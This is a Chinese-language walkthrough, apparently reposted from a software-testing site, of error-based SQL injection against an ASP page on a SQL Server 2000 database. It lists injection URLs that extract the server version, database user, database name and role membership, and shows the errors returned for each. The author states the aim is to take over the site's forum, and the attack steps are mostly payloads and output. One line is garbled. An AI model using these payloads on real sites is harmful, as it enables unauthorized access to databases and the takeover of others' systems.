一、 首先確定目標
假設以下URL存在SQL注入:
http://www.loveyou.com/type.asp?id=6 測試能否注入可以在6后面加個單引號。
http://www.loveyou.com/type.aspid=6' 返回錯誤提示:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未閉合的引號。
繼續,先探測一下系統版本:
http://www.loveyou.com/type.asp?id=(select @@version)--
返回:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]將 nvarchar 值 'Microsoft SQL Server
2000 - 8.00.760 (Intel X86) Dec 17 2002
14:22:05 Copyright (c) 1988-2003 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉換為數據類型為 int 的列時發生語法錯誤。
看來已經打上最新的SP4補丁。
取得當前連接數據庫用戶:
http://www.loveyou.com/type.asp?id=(select user_name())--
返回:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]將 nvarchar 值 'webuser' 轉換為數據類型為 int 的列時發生語法錯誤。
從錯誤信息中得到當前數據庫用戶為:webuser
取得當前連接數據庫名:
http://www.loveyou.com/type.asp?id=(select db_name())--
返回:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 '01city' 轉換為數據類型為 int 的列時發生語法錯誤。
從錯誤信息中得到當前數據庫名為: 01city
接下來測試下權限:(注:因為我們的目的是搞定動網而不是侵占系統。所以數據庫權限對我們不是很重要。)
http://www.loveyou.com/type.asp?id=
(SELECT IS_SRVROLEMEMBER('sysadmin'))--
返回錯誤信息。提示當前記錄已刪除?磥頇嘞薰徊皇呛芨咭。繼續,
http://www.loveyou.com/type.asp?id=
(SELECT%20IS_MEMBER('db_owner'))--
正常顯示信息,看來連接數據庫擁有的權限是DB_OWNER(DOWN數據庫所有者。但對操縱數據是綽綽有余了。
文章來源于領測軟件測試網 http://www.kjueaiud.com/